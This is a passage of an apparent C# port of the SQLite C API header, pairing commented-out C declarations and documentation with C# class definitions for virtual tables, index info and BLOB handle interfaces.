sqlite3_enable_shared_cache(int);\n\n    /*\n    ** CAPI3REF: Attempt To Free Heap Memory {H17340} <S30220>\n    **\n    ** The sqlite3_release_memory() interface attempts to free N bytes\n    ** of heap memory by deallocating non-essential memory allocations\n    ** held by the database library. {END}  Memory used to cache database\n    ** pages to improve performance is an example of non-essential memory.\n    ** sqlite3_release_memory() returns the number of bytes actually freed,\n    ** which might be more or less than the amount requested.\n    **\n    ** Requirements: [H17341] [H17342]\n    */\n    //SQLITE_API int sqlite3_release_memory(int);\n\n    /*\n    ** CAPI3REF: Impose A Limit On Heap Size {H17350} <S30220>\n    **\n    ** The sqlite3_soft_heap_limit() interface places a \"soft\" limit\n    ** on the amount of heap memory that may be allocated by SQLite.\n    ** If an internal allocation is requested that would exceed the\n    ** soft heap limit, [sqlite3_release_memory()] is invoked one or\n    ** more times to free up some space before the allocation is performed.\n    **\n    ** The limit is called \"soft\", because if [sqlite3_release_memory()]\n    ** cannot free sufficient memory to prevent the limit from being exceeded,\n    ** the memory is allocated anyway and the current operation proceeds.\n    **\n    ** A negative or zero value for N means that there is no soft heap limit and\n    ** [sqlite3_release_memory()] will only be called when memory is exhausted.\n    ** The default value for the soft heap limit is zero.\n    **\n    ** SQLite makes a best effort to honor the soft heap limit.\n    ** But if the soft heap limit cannot be honored, execution will\n    ** continue without error or notification.  This is why the limit is\n    ** called a \"soft\" limit.  It is advisory only.\n    **\n    ** Prior to SQLite version 3.5.0, this routine only constrained the memory\n    ** allocated by a single thread - the same thread in which this routine\n    ** runs.  Beginning with SQLite version 3.5.0, the soft heap limit is\n    ** applied to all threads. The value specified for the soft heap limit\n    ** is an upper bound on the total memory allocation for all threads. In\n    ** version 3.5.0 there is no mechanism for limiting the heap usage for\n    ** individual threads.\n    **\n    ** Requirements:\n    ** [H16351] [H16352] [H16353] [H16354] [H16355] [H16358]\n    */\n    //SQLITE_API void sqlite3_soft_heap_limit(int);\n\n    /*\n    ** CAPI3REF: Extract Metadata About A Column Of A Table {H12850} <S60300>\n    **\n    ** This routine returns metadata about a specific column of a specific\n    ** database table accessible using the [database connection] handle\n    ** passed as the first function argument.\n    **\n    ** The column is identified by the second, third and fourth parameters to\n    ** this function. The second parameter is either the name of the database\n    ** (i.e. \"main\", \"temp\" or an attached database) containing the specified\n    ** table or NULL. If it is NULL, then all attached databases are searched\n    ** for the table using the same algorithm used by the database engine to\n    ** resolve unqualified table references.\n    **\n    ** The third and fourth parameters to this function are the table and column\n    ** name of the desired column, respectively. Neither of these parameters\n    ** may be NULL.\n    **\n    ** Metadata is returned by writing to the memory locations passed as the 5th\n    ** and subsequent parameters to this function. Any of these arguments may be\n    ** NULL, in which case the corresponding element of metadata is omitted.\n    **\n    ** <blockquote>\n    ** <table border=\"1\">\n    ** <tr><th> Parameter <th> Output<br>Type <th>  Description\n    **\n    ** <tr><td> 5th <td> const char* <td> Data type\n    ** <tr><td> 6th <td> const char* <td> Name of default collation sequence\n    ** <tr><td> 7th <td> int         <td> True if column has a NOT NULL constraint\n    ** <tr><td> 8th <td> int         <td> True if column is part of the PRIMARY KEY\n    ** <tr><td> 9th <td> int         <td> True if column is [AUTOINCREMENT]\n    ** </table>\n    ** </blockquote>\n    **\n    ** The memory pointed to by the character pointers returned for the\n    ** declaration type and collation sequence is valid only until the next\n    ** call to any SQLite API function.\n    **\n    ** If the specified table is actually a view, an [error code] is returned.\n    **\n    ** If the specified column is \"rowid\", \"oid\" or \"_rowid_\" and an\n    ** [INTEGER PRIMARY KEY] column has been explicitly declared, then the output\n    ** parameters are set for the explicitly declared column. If there is no\n    ** explicitly declared [INTEGER PRIMARY KEY] column, then the output\n    ** parameters are set as follows:\n    **\n    ** <pre>\n    **     data type: \"INTEGER\"\n    **     collation sequence: \"BINARY\"\n    **     not null: 0\n    **     primary key: 1\n    **     auto increment: 0\n    ** </pre>\n    **\n    ** This function may load one or more schemas from database files. If an\n    ** error occurs during this process, or if the requested table or column\n    ** cannot be found, an [error code] is returned and an error message left\n    ** in the [database connection] (to be retrieved using sqlite3_errmsg()).\n    **\n    ** This API is only available if the library was compiled with the\n    ** [SQLITE_ENABLE_COLUMN_METADATA] C-preprocessor symbol defined.\n    */\n    //SQLITE_API int sqlite3_table_column_metadata(\n    //  sqlite3 *db,                /* Connection handle */\n    //  const char *zDbName,        /* Database name or NULL */\n    //  const char *zTableName,     /* Table name */\n    //  const char *zColumnName,    /* Column name */\n    //  char const **pzDataType,    /* OUTPUT: Declared data type */\n    //  char const **pzCollSeq,     /* OUTPUT: Collation sequence name */\n    //  int *pNotNull,              /* OUTPUT: True if NOT NULL constraint exists */\n    //  int *pPrimaryKey,           /* OUTPUT: True if column part of PK */\n    //  int *pAutoinc               /* OUTPUT: True if column is auto-increment */\n    //);\n\n    /*\n    ** CAPI3REF: Load An Extension {H12600} <S20500>\n    **\n    ** This interface loads an SQLite extension library from the named file.\n    **\n    ** {H12601} The sqlite3_load_extension() interface attempts to load an\n    **          SQLite extension library contained in the file zFile.\n    **\n    ** {H12602} The entry point is zProc.\n    **\n    ** {H12603} zProc may be 0, in which case the name of the entry point\n    **          defaults to \"sqlite3_extension_init\".\n    **\n    ** {H12604} The sqlite3_load_extension() interface shall return\n    **          [SQLITE_OK] on success and [SQLITE_ERROR] if something goes wrong.\n    **\n    ** {H12605} If an error occurs and pzErrMsg is not 0, then the\n    **          [sqlite3_load_extension()] interface shall attempt to\n    **          fill *pzErrMsg with error message text stored in memory\n    **          obtained from [sqlite3_malloc()]. {END}  The calling function\n    **          should free this memory by calling [sqlite3_free()].\n    **\n    ** {H12606} Extension loading must be enabled using\n    **          [sqlite3_enable_load_extension()] prior to calling this API,\n    **          otherwise an error will be returned.\n    */\n    //SQLITE_API int sqlite3_load_extension(\n    //  sqlite3 *db,          /* Load the extension into this database connection */\n    //  const char *zFile,    /* Name of the shared library containing extension */\n    //  const char *zProc,    /* Entry point.  Derived from zFile if 0 */\n    //  char **pzErrMsg       /* Put error message here if not 0 */\n    //);\n\n    /*\n    ** CAPI3REF: Enable Or Disable Extension Loading {H12620} <S20500>\n    **\n    ** So as not to open security holes in older applications that are\n    ** unprepared to deal with extension loading, and as a means of disabling\n    ** extension loading while evaluating user-entered SQL, the following API\n    ** is provided to turn the [sqlite3_load_extension()] mechanism on and off.\n    **\n    ** Extension loading is off by default. See ticket #1863.\n    **\n    ** {H12621} Call the sqlite3_enable_load_extension() routine with onoff==1\n    **          to turn extension loading on and call it with onoff==0 to turn\n    **          it back off again.\n    **\n    ** {H12622} Extension loading is off by default.\n    */\n    //SQLITE_API int sqlite3_enable_load_extension(sqlite3 *db, int onoff);\n\n    /*\n    ** CAPI3REF: Automatically Load An Extensions {H12640} <S20500>\n    **\n    ** This API can be invoked at program startup in order to register\n    ** one or more statically linked extensions that will be available\n    ** to all new [database connections]. {END}\n    **\n    ** This routine stores a pointer to the extension in an array that is\n    ** obtained from [sqlite3_malloc()].  If you run a memory leak checker\n    ** on your program and it reports a leak because of this array, invoke\n    ** [sqlite3_reset_auto_extension()] prior to shutdown to free the memory.\n    **\n    ** {H12641} This function registers an extension entry point that is\n    **          automatically invoked whenever a new [database connection]\n    **          is opened using [sqlite3_open()], [sqlite3_open16()],\n    **          or [sqlite3_open_v2()].\n    **\n    ** {H12642} Duplicate extensions are detected so calling this routine\n    **          multiple times with the same extension is harmless.\n    **\n    ** {H12643} This routine stores a pointer to the extension in an array\n    **          that is obtained from [sqlite3_malloc()].\n    **\n    ** {H12644} Automatic extensions apply across all threads.\n    */\n    //SQLITE_API int sqlite3_auto_extension(void (*xEntryPoint)(void));\n\n    /*\n    ** CAPI3REF: Reset Automatic Extension Loading {H12660} <S20500>\n    **\n    ** This function disables all previously registered automatic\n    ** extensions. {END}  It undoes the effect of all prior\n    ** [sqlite3_auto_extension()] calls.\n    **\n    ** {H12661} This function disables all previously registered\n    **          automatic extensions.\n    **\n    ** {H12662} This function disables automatic extensions in all threads.\n    */\n    //SQLITE_API void sqlite3_reset_auto_extension(void);\n\n    /*\n    ****** EXPERIMENTAL - subject to change without notice **************\n    **\n    ** The interface to the virtual-table mechanism is currently considered\n    ** to be experimental.  The interface might change in incompatible ways.\n    ** If this is a problem for you, do not use the interface at this time.\n    **\n    ** When the virtual-table mechanism stabilizes, we will declare the\n    ** interface fixed, support it indefinitely, and remove this comment.\n    */\n\n    /*\n    ** Structures used by the virtual table interface\n    */\n    //typedef struct sqlite3_vtab sqlite3_vtab;\n    //typedef struct sqlite3_index_info sqlite3_index_info;\n    //typedef struct sqlite3_vtab_cursor sqlite3_vtab_cursor;\n    //typedef struct sqlite3_module sqlite3_module;\n\n    /*\n    ** CAPI3REF: Virtual Table Object {H18000} <S20400>\n    ** KEYWORDS: sqlite3_module {virtual table module}\n    ** EXPERIMENTAL\n    **\n    ** This structure, sometimes called a a \"virtual table module\", \n    ** defines the implementation of a [virtual tables].  \n    ** This structure consists mostly of methods for the module.\n    **\n    ** A virtual table module is created by filling in a persistent\n    ** instance of this structure and passing a pointer to that instance\n    ** to [sqlite3_create_module()] or [sqlite3_create_module_v2()].\n    ** The registration remains valid until it is replaced by a different\n    ** module or until the [database connection] closes.  The content\n    ** of this structure must not change while it is registered with\n    ** any database connection.\n    */\n    //struct sqlite3_module {\n    //  int iVersion;\n    //  int (*xCreate)(sqlite3*, void *pAux,\n    //               int argc, const char *const*argv,\n    //               sqlite3_vtab **ppVTab, char**);\n    //  int (*xConnect)(sqlite3*, void *pAux,\n    //               int argc, const char *const*argv,\n    //               sqlite3_vtab **ppVTab, char**);\n    //  int (*xBestIndex)(sqlite3_vtab *pVTab, sqlite3_index_info*);\n    //  int (*xDisconnect)(sqlite3_vtab *pVTab);\n    //  int (*xDestroy)(sqlite3_vtab *pVTab);\n    //  int (*xOpen)(sqlite3_vtab *pVTab, sqlite3_vtab_cursor **ppCursor);\n    //  int (*xClose)(sqlite3_vtab_cursor*);\n    //  int (*xFilter)(sqlite3_vtab_cursor*, int idxNum, const char *idxStr,\n    //                int argc, sqlite3_value **argv);\n    //  int (*xNext)(sqlite3_vtab_cursor*);\n    //  int (*xEof)(sqlite3_vtab_cursor*);\n    //  int (*xColumn)(sqlite3_vtab_cursor*, sqlite3_context*, int);\n    //  int (*xRowid)(sqlite3_vtab_cursor*, sqlite3_int64 *pRowid);\n    //  int (*xUpdate)(sqlite3_vtab *, int, sqlite3_value **, sqlite3_int64 *);\n    //  int (*xBegin)(sqlite3_vtab *pVTab);\n    //  int (*xSync)(sqlite3_vtab *pVTab);\n    //  int (*xCommit)(sqlite3_vtab *pVTab);\n    //  int (*xRollback)(sqlite3_vtab *pVTab);\n    //  int (*xFindFunction)(sqlite3_vtab *pVtab, int nArg, const char *zName,\n    //                       void (**pxFunc)(sqlite3_context*,int,sqlite3_value**),\n    //                       void **ppArg);\n    //  int (*xRename)(sqlite3_vtab *pVtab, const char *zNew);\n    //};\n    // MINIMAL STRUCTURE\n    public class sqlite3_module\n    {\n      public int iVersion;\n      public smdxCreate xCreate;\n      public smdxConnect xConnect;\n      public smdxBestIndex xBestIndex;\n      public smdxDisconnect xDisconnect;\n      public smdxDestroy xDestroy;\n      public smdxOpen xOpen;\n      public smdxClose xClose;\n      public smdxFilter xFilter;\n      public smdxNext xNext;\n      public smdxEof xEof;\n      public smdxColumn xColumn;\n      public smdxRowid xRowid;\n      public smdxUpdate xUpdate;\n      public smdxBegin xBegin;\n      public smdxSync xSync;\n      public smdxCommit xCommit;\n      public smdxRollback xRollback;\n      public smdxFindFunction xFindFunction;\n      public smdxRename xRename;\n    }\n\n    /*\n    ** CAPI3REF: Virtual Table Indexing Information {H18100} <S20400>\n    ** KEYWORDS: sqlite3_index_info\n    ** EXPERIMENTAL\n    **\n    ** The sqlite3_index_info structure and its substructures is used to\n    ** pass information into and receive the reply from the [xBestIndex]\n    ** method of a [virtual table module].  The fields under **Inputs** are the\n    ** inputs to xBestIndex and are read-only.  xBestIndex inserts its\n    ** results into the **Outputs** fields.\n    **\n    ** The aConstraint[] array records WHERE clause constraints of the form:\n    **\n    ** <pre>column OP expr</pre>\n    **\n    ** where OP is =, &lt;, &lt;=, &gt;, or &gt;=.  The particular operator is\n    ** stored in aConstraint[].op.  The index of the column is stored in\n    ** aConstraint[].iColumn.  aConstraint[].usable is TRUE if the\n    ** expr on the right-hand side can be evaluated (and thus the constraint\n    ** is usable) and false if it cannot.\n    **\n    ** The optimizer automatically inverts terms of the form \"expr OP column\"\n    ** and makes other simplifications to the WHERE clause in an attempt to\n    ** get as many WHERE clause terms into the form shown above as possible.\n    ** The aConstraint[] array only reports WHERE clause terms in the correct\n    ** form that refer to the particular virtual table being queried.\n    **\n    ** Information about the ORDER BY clause is stored in aOrderBy[].\n    ** Each term of aOrderBy records a column of the ORDER BY clause.\n    **\n    ** The [xBestIndex] method must fill aConstraintUsage[] with information\n    ** about what parameters to pass to xFilter.  If argvIndex>0 then\n    ** the right-hand side of the corresponding aConstraint[] is evaluated\n    ** and becomes the argvIndex-th entry in argv.  If aConstraintUsage[].omit\n    ** is true, then the constraint is assumed to be fully handled by the\n    ** virtual table and is not checked again by SQLite.\n    **\n    ** The idxNum and idxPtr values are recorded and passed into the\n    ** [xFilter] method.\n    ** [sqlite3_free()] is used to free idxPtr if and only iff\n    ** needToFreeIdxPtr is true.\n    **\n    ** The orderByConsumed means that output from [xFilter]/[xNext] will occur in\n    ** the correct order to satisfy the ORDER BY clause so that no separate\n    ** sorting step is required.\n    **\n    ** The estimatedCost value is an estimate of the cost of doing the\n    ** particular lookup.  A full scan of a table with N entries should have\n    ** a cost of N.  A binary search of a table of N entries should have a\n    ** cost of approximately log(N).\n    */\n    //struct sqlite3_index_info {\n    //  /* Inputs */\n    //  int nConstraint;           /* Number of entries in aConstraint */\n    //  struct sqlite3_index_constraint {\n    //     int iColumn;              /* Column on left-hand side of constraint */\n    //     unsigned char op;         /* Constraint operator */\n    //     unsigned char usable;     /* True if this constraint is usable */\n    //     int iTermOffset;          /* Used internally - xBestIndex should ignore */\n    //  } *aConstraint;            /* Table of WHERE clause constraints */\n    //  int nOrderBy;              /* Number of terms in the ORDER BY clause */\n    //  struct sqlite3_index_orderby {\n    //     int iColumn;              /* Column number */\n    //     unsigned char desc;       /* True for DESC.  False for ASC. */\n    //  } *aOrderBy;               /* The ORDER BY clause */\n    //  /* Outputs */\n    //  struct sqlite3_index_constraint_usage {\n    //    int argvIndex;           /* if >0, constraint is part of argv to xFilter */\n    //    unsigned char omit;      /* Do not code a test for this constraint */\n    //  } *aConstraintUsage;\n    //  int idxNum;                /* Number used to identify the index */\n    //  char *idxStr;              /* String, possibly obtained from sqlite3_malloc */\n    //  int needToFreeIdxStr;      /* Free idxStr using sqlite3_free() if true */\n    //  int orderByConsumed;       /* True if output is already ordered */\n    //  double estimatedCost;      /* Estimated cost of using this index */\n    //};\n    public class sqlite3_index_constraint\n    {\n      public int iColumn;              /* Column on left-hand side of constraint */\n      public int op;                   /* Constraint operator */\n      public bool usable;              /* True if this constraint is usable */\n      public int iTermOffset;          /* Used internally - xBestIndex should ignore */\n    }\n    public class sqlite3_index_orderby\n    {\n      public int iColumn;              /* Column number */\n      public bool desc;       /* True for DESC.  False for ASC. */\n    }\n    public class sqlite3_index_constraint_usage\n    {\n      public int argvIndex;   /* if >0, constraint is part of argv to xFilter */\n      public bool omit;       /* Do not code a test for this constraint */\n    }\n\n    public class sqlite3_index_info\n    {\n      /* Inputs */\n      public int nConstraint;             /* Number of entries in aConstraint */\n      public sqlite3_index_constraint[] aConstraint;            /* Table of WHERE clause constraints */\n      public int nOrderBy;                /* Number of terms in the ORDER BY clause */\n      public sqlite3_index_orderby[] aOrderBy;/* The ORDER BY clause */\n\n      /* Outputs */\n\n      public sqlite3_index_constraint_usage[] aConstraintUsage;\n      public int idxNum;                /* Number used to identify the index */\n      public string idxStr;             /* String, possibly obtained from sqlite3Malloc */\n      public int needToFreeIdxStr;      /* Free idxStr using //sqlite3DbFree(db,) if true */\n      public bool orderByConsumed;       /* True if output is already ordered */\n      public double estimatedCost;      /* Estimated cost of using this index */\n    }\n    //#define SQLITE_INDEX_CONSTRAINT_EQ    2\n    //#define SQLITE_INDEX_CONSTRAINT_GT    4\n    //#define SQLITE_INDEX_CONSTRAINT_LE    8\n    //#define SQLITE_INDEX_CONSTRAINT_LT    16\n    //#define SQLITE_INDEX_CONSTRAINT_GE    32\n    //#define SQLITE_INDEX_CONSTRAINT_MATCH 64\n    const int SQLITE_INDEX_CONSTRAINT_EQ = 2;\n    const int SQLITE_INDEX_CONSTRAINT_GT = 4;\n    const int SQLITE_INDEX_CONSTRAINT_LE = 8;\n    const int SQLITE_INDEX_CONSTRAINT_LT = 16;\n    const int SQLITE_INDEX_CONSTRAINT_GE = 32;\n    const int SQLITE_INDEX_CONSTRAINT_MATCH = 64;\n\n    /*\n    ** CAPI3REF: Register A Virtual Table Implementation {H18200} <S20400>\n    ** EXPERIMENTAL\n    **\n    ** This routine is used to register a new [virtual table module] name.\n    ** Module names must be registered before\n    ** creating a new [virtual table] using the module, or before using a\n    ** preexisting [virtual table] for the module.\n    **\n    ** The module name is registered on the [database connection] specified\n    ** by the first parameter.  The name of the module is given by the \n    ** second parameter.  The third parameter is a pointer to\n    ** the implementation of the [virtual table module].   The fourth\n    ** parameter is an arbitrary client data pointer that is passed through\n    ** into the [xCreate] and [xConnect] methods of the virtual table module\n    ** when a new virtual table is be being created or reinitialized.\n    **\n    ** This interface has exactly the same effect as calling\n    ** [sqlite3_create_module_v2()] with a NULL client data destructor.\n    */\n    //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_create_module(\n    //  sqlite3 *db,               /* SQLite connection to register module with */\n    //  const char *zName,         /* Name of the module */\n    //  const sqlite3_module *p,   /* Methods for the module */\n    //  void *pClientData          /* Client data for xCreate/xConnect */\n    //);\n\n    /*\n    ** CAPI3REF: Register A Virtual Table Implementation {H18210} <S20400>\n    ** EXPERIMENTAL\n    **\n    ** This routine is identical to the [sqlite3_create_module()] method,\n    ** except that it has an extra parameter to specify \n    ** a destructor function for the client data pointer.  SQLite will\n    ** invoke the destructor function (if it is not NULL) when SQLite\n    ** no longer needs the pClientData pointer.  \n    */\n    //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_create_module_v2(\n    //  sqlite3 *db,               /* SQLite connection to register module with */\n    //  const char *zName,         /* Name of the module */\n    //  const sqlite3_module *p,   /* Methods for the module */\n    //  void *pClientData,         /* Client data for xCreate/xConnect */\n    //  void(*xDestroy)(void*)     /* Module destructor function */\n    //);\n\n    /*\n    ** CAPI3REF: Virtual Table Instance Object {H18010} <S20400>\n    ** KEYWORDS: sqlite3_vtab\n    ** EXPERIMENTAL\n    **\n    ** Every [virtual table module] implementation uses a subclass\n    ** of the following structure to describe a particular instance\n    ** of the [virtual table].  Each subclass will\n    ** be tailored to the specific needs of the module implementation.\n    ** The purpose of this superclass is to define certain fields that are\n    ** common to all module implementations.\n    **\n    ** Virtual tables methods can set an error message by assigning a\n    ** string obtained from [sqlite3_mprintf()] to zErrMsg.  The method should\n    ** take care that any prior string is freed by a call to [sqlite3_free()]\n    ** prior to assigning a new string to zErrMsg.  After the error message\n    ** is delivered up to the client application, the string will be automatically\n    ** freed by sqlite3_free() and the zErrMsg field will be zeroed.\n    */\n    //struct sqlite3_vtab {\n    //  const sqlite3_module *pModule;  /* The module for this virtual table */\n    //  int nRef;                       /* NO LONGER USED */\n    //  char *zErrMsg;                  /* Error message from sqlite3_mprintf() */\n    /* Virtual table implementations will typically add additional fields */\n    //};\n    public struct sqlite3_vtab\n    {\n      public sqlite3_module pModule;       /* The module for this virtual table */\n      public int nRef;                     /* Used internally */\n      public string zErrMsg;               /* Error message from sqlite3_mprintf() */\n      /* Virtual table implementations will typically add additional fields */\n    };\n\n    /*\n    ** CAPI3REF: Virtual Table Cursor Object  {H18020} <S20400>\n    ** KEYWORDS: sqlite3_vtab_cursor {virtual table cursor}\n    ** EXPERIMENTAL\n    **\n    ** Every [virtual table module] implementation uses a subclass of the\n    ** following structure to describe cursors that point into the\n    ** [virtual table] and are used\n    ** to loop through the virtual table.  Cursors are created using the\n    ** [sqlite3_module.xOpen | xOpen] method of the module and are destroyed\n    ** by the [sqlite3_module.xClose | xClose] method.  Cussors are used\n    ** by the [xFilter], [xNext], [xEof], [xColumn], and [xRowid] methods\n    ** of the module.  Each module implementation will define\n    ** the content of a cursor structure to suit its own needs.\n    **\n    ** This superclass exists in order to define fields of the cursor that\n    ** are common to all implementations.\n    */\n    //struct sqlite3_vtab_cursor {\n    //  sqlite3_vtab *pVtab;      /* Virtual table of this cursor */\n    /* Virtual table implementations will typically add additional fields */\n    //};\n    public class sqlite3_vtab_cursor\n    {\n      sqlite3_vtab pVtab;      /* Virtual table of this cursor */\n      /* Virtual table implementations will typically add additional fields */\n    };\n\n    /*\n    ** CAPI3REF: Declare The Schema Of A Virtual Table {H18280} <S20400>\n    ** EXPERIMENTAL\n    **\n    ** The [xCreate] and [xConnect] methods of a\n    ** [virtual table module] call this interface\n    ** to declare the format (the names and datatypes of the columns) of\n    ** the virtual tables they implement.\n    */\n    //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_declare_vtab(sqlite3*, const char *zSQL);\n\n    /*\n    ** CAPI3REF: Overload A Function For A Virtual Table {H18300} <S20400>\n    ** EXPERIMENTAL\n    **\n    ** Virtual tables can provide alternative implementations of functions\n    ** using the [xFindFunction] method of the [virtual table module].  \n    ** But global versions of those functions\n    ** must exist in order to be overloaded.\n    **\n    ** This API makes sure a global version of a function with a particular\n    ** name and number of parameters exists.  If no such function exists\n    ** before this API is called, a new function is created.  The implementation\n    ** of the new function always causes an exception to be thrown.  So\n    ** the new function is not good for anything by itself.  Its only\n    ** purpose is to be a placeholder function that can be overloaded\n    ** by a [virtual table].\n    */\n    //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_overload_function(sqlite3*, const char *zFuncName, int nArg);\n\n    /*\n    ** The interface to the virtual-table mechanism defined above (back up\n    ** to a comment remarkably similar to this one) is currently considered\n    ** to be experimental.  The interface might change in incompatible ways.\n    ** If this is a problem for you, do not use the interface at this time.\n    **\n    ** When the virtual-table mechanism stabilizes, we will declare the\n    ** interface fixed, support it indefinitely, and remove this comment.\n    **\n    ****** EXPERIMENTAL - subject to change without notice **************\n    */\n\n    /*\n    ** CAPI3REF: A Handle To An Open BLOB {H17800} <S30230>\n    ** KEYWORDS: {BLOB handle} {BLOB handles}\n    **\n    ** An instance of this object represents an open BLOB on which\n    ** [sqlite3_blob_open | incremental BLOB I/O] can be performed.\n    ** Objects of this type are created by [sqlite3_blob_open()]\n    ** and destroyed by [sqlite3_blob_close()].\n    ** The [sqlite3_blob_read()] and [sqlite3_blob_write()] interfaces\n    ** can be used to read or write small subsections of the BLOB.\n    ** The [sqlite3_blob_bytes()] interface returns the size of the BLOB in bytes.\n    */\n    //typedef struct sqlite3_blob sqlite3_blob;\n\n    /*\n    ** CAPI3REF: Open A BLOB For Incremental I/O {H17810} <S30230>\n    **\n    ** This interfaces opens a [BLOB handle | handle] to the BLOB located\n    ** in row iRow, column zColumn, table zTable in database zDb;\n    ** in other words, the same BLOB that would be selected by:\n    **\n    ** <pre>\n    **     SELECT zColumn FROM zDb.zTable WHERE [rowid] = iRow;\n    ** </pre> {END}\n    **\n    ** If the flags parameter is non-zero, then the BLOB is opened for read\n    ** and write access. If it is zero, the BLOB is opened for read access.\n    **\n    ** Note that the database name is not the filename that contains\n    ** the database but rather the symbolic name of the database that\n    ** is assigned when the database is connected using [ATTACH].\n    ** For the main database file, the database name is \"main\".\n    ** For TEMP tables, the database name is \"temp\".\n    **\n    ** On success, [SQLITE_OK] is returned and the new [BLOB handle] is written\n    ** to *ppBlob. Otherwise an [error code] is returned and *ppBlob is set\n    ** to be a null pointer.\n    ** This function sets the [database connection] error code and message\n    ** accessible via [sqlite3_errcode()] and [sqlite3_errmsg()] and related\n    ** functions.  Note that the *ppBlob variable is always initialized in a\n    ** way that makes it safe to invoke [sqlite3_blob_close()] on *ppBlob\n    ** regardless of the success or failure of this routine.\n    **\n    ** If the row that a BLOB handle points to is modified by an\n    ** [UPDATE], [DELETE], or by [ON CONFLICT] side-effects\n    ** then the BLOB handle is marked as \"expired\".\n    ** This is true if any column of the row is changed, even a column\n    ** other than the one the BLOB handle is open on.\n    ** Calls to [sqlite3_blob_read()] and [sqlite3_blob_write()] for\n    ** a expired BLOB handle fail with an return code of [SQLITE_ABORT].\n    ** Changes written into a BLOB prior to the BLOB expiring are not\n    ** rollback by the expiration of the BLOB.  Such changes will eventually\n    ** commit if the transaction continues to completion.\n    **\n    ** Use the [sqlite3_blob_bytes()] interface to determine the size of\n    ** the opened blob.  The size of a blob may not be changed by this\n    ** underface.  Use the [UPDATE] SQL command to change the size of a\n    ** blob.\n    **\n    ** The [sqlite3_bind_zeroblob()] and [sqlite3_result_zeroblob()] interfaces\n    ** and the built-in [zeroblob] SQL function can be used, if desired,\n    ** to create an empty, zero-filled blob in which to read or write using\n    ** this interface.\n    **\n    ** To avoid a resource leak, every open [BLOB handle] should eventually\n    ** be released by a call to [sqlite3_blob_close()].\n    **\n    ** Requirements:\n    ** [H17813] [H17814] [H17816] [H17819] [H17821] [H17824]\n    */\n    //SQLITE_API int sqlite3_blob_open(\n    //  sqlite3*,\n    //  const char *zDb,\n    //  const char *zTable,\n    //  const char *zColumn,\n    //  sqlite3_int64 iRow,\n    //  int flags,\n    //  sqlite3_blob **ppBlob\n    //);\n\n    /*\n    ** CAPI3REF: Close A BLOB Handle {H17830} <S30230>\n    **\n    ** Closes an open [BLOB handle].\n    **\n    ** Closing a BLOB shall cause the current transaction to commit\n    ** if there are no other BLOBs, no pending prepared statements, and the\n    ** database connection is in [autocommit mode].\n    ** If any writes were made to the BLOB, they might be held in cache\n    ** until the close operation if they will fit.\n    **\n    ** Closing the BLOB often forces the changes\n    ** out to disk and so if any I/O errors occur, they will likely occur\n    ** at the time when the BLOB is closed.  Any errors that occur during\n    ** closing are reported as a non-zero return value.\n    **\n    ** The BLOB is closed unconditionally.  Even if this routine returns\n    ** an error code, the BLOB is still closed.\n    **\n    ** Calling this routine with a null pointer (which as would be returned\n    ** by failed call to [sqlite3_blob_open()]) is a harmless no-op.\n    **\n    ** Requirements:\n    ** [H17833] [H17836] [H17839]\n    */\n    //SQLITE_API int sqlite3_blob_close(sqlite3_blob *);\n\n    /*\n    ** CAPI3REF: Return The Size Of An Open BLOB {H17840} <S30230>\n    **\n    ** Returns the size in bytes of the BLOB accessible via the \n    ** successfully opened [BLOB handle] in its only argument.  The\n    ** incremental blob I/O routines can only read or overwriting existing\n    ** blob content; they cannot change the size of a blob.\n    **\n    ** This routine only works on a [BLOB handle] which has been created\n    ** by a prior successful call to [sqlite3_blob_open()] and which has not\n    ** been closed by [sqlite3_blob_close()].  Passing any other pointer in\n    ** to this routine results in undefined and probably undesirable behavior.\n    **\n    ** Requirements:\n    ** [H17843]\n    */\n    //SQLITE_API int sqlite3_blob_bytes(sqlite3_blob *);\n\n    /*\n    ** CAPI3REF: Read Data From A BLOB Incrementally {H17850} <S30230>\n    **\n    ** This function is used to read data from an open [BLOB handle] into a\n    ** caller-supplied buffer. N bytes of data are copied into buffer Z\n    ** from the open BLOB, starting at offset iOffset.\n    **\n    ** If offset iOffset is less than N bytes from the end of the BLOB,\n    ** [SQLITE_ERROR] is returned and no data is read.  If N or iOffset is\n    ** less than zero, [SQLITE_ERROR] is returned and no data is read.\n    ** The size of the blob (and hence the maximum value of N+iOffset)\n    ** can be determined using the [sqlite3_blob_bytes()] interface.\n    **\n    ** An attempt to read from an expired [BLOB handle] fails with an\n    ** error code of [SQLITE_ABORT].\n    **\n    ** On success, SQLITE_OK is returned.\n    ** Otherwise, an [error code] or an [extended error code] is returned.\n    **\n    ** This routine only works on a [BLOB handle] which has been created\n    ** by a prior successful call to [sqlite3_blob_open()] and which has not\n    ** been closed by [sqlite3_blob_close()].  Passing any other pointer in\n    ** to this routine results in undefined and probably undesirable behavior.\n    **\n    ** See also: [sqlite3_blob_write()].\n    **\n    ** Requirements:\n    ** [H17853] [H17856] [H17859] [H17862] [H17863] [H17865] [H17868]\n    */\n    //SQLITE_API int sqlite3_blob_read(sqlite3_blob *, void *Z, int N, int iOffset);\n\n    /*\n    ** CAPI3REF: Write Data Into A BLOB Incrementally {H17870} <S30230>\n    **\n    ** This function is used to write data into an open [BLOB handle] from a\n    ** caller-supplied buffer. N bytes of data are copied from the buffer Z\n    ** into the open BLOB, starting at offset iOffset.\n    **\n    ** If the [BLOB handle] passed as the first argument was not opened for\n    ** writing (the flags parameter to [sqlite3_blob_open()] was zero),\n    ** this function returns [SQLITE_READONLY].\n    **\n    ** This function may only modify the contents of the BLOB; it is\n    ** not possible to increase the size of a BLOB using this API.\n    ** If offset iOffset is less than N bytes from the end of the BLOB,\n    ** [SQLITE_ERROR] is returned and no data is written.  If N is\n    ** less than zero [SQLITE_ERROR] is returned and no data is written.\n    ** The size of the BLOB (and hence the maximum value of N+iOffset)\n    ** can be determined using the [sqlite3_blob_bytes()] interface.\n    **\n    ** An attempt to write to an expired [BLOB handle] fails with an\n    ** error code of [SQLITE_ABORT].  Writes to the BLOB that occurred\n    ** before the [BLOB handle] expired are not rolled back by the\n    ** expiration of the handle, though of course those changes might\n    ** have been overwritten by the statement that expired the BLOB handle\n    ** or by other independent statements.\n    **\n    ** On success, SQLITE_OK is returned.\n    ** Otherwise, an  [error code] or an [extended error code] is returned.\n    **\n    ** This routine only works on a [BLOB handle] which has been created\n    ** by a prior successful call to [sqlite3_blob_open()] and which has not\n    ** been closed by [sqlite3_blob_close()].  Passing any other pointer in\n    ** to this 